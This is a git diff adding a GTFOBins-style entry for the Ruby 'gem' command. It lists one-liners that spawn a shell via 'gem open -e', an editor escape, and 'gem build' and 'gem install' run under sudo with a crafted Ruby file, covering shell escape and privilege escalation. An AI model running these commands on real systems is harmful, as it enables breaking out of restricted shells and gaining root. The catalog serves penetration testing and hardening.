diff --git a/_gtfobins/gem.md b/_gtfobins/gem.md
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+---
+functions:
+  shell:
+    - description: This requires the name of an installed gem to be provided (`json` is usually installed).
+      code: gem open -e "/bin/sh -c /bin/sh" json
+    - description: This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply. This requires the name of an installed gem to be provided (`json` is usually installed).
+      code: |
+        gem open json
+        :!/bin/sh
+    - description: This executes the specified file as [`ruby`](/gtfobins/ruby/) code.
+      code: |
+        TF=$(mktemp -d)
+        echo 'system("/bin/sh")' > $TF/x
+        sudo gem build $TF/x
+    - description: This executes the specified file as [`ruby`](/gtfobins/ruby/) code.
+      code: |
+        TF=$(mktemp -d)
+        echo 'system("/bin/sh")' > $TF/x
+        sudo gem install --file $TF/x
+  sudo:
+    - description: This requires the name of an installed gem to be provided (`json` is usually installed).
+      code: sudo gem open -e "/bin/sh -c /bin/sh" json
+---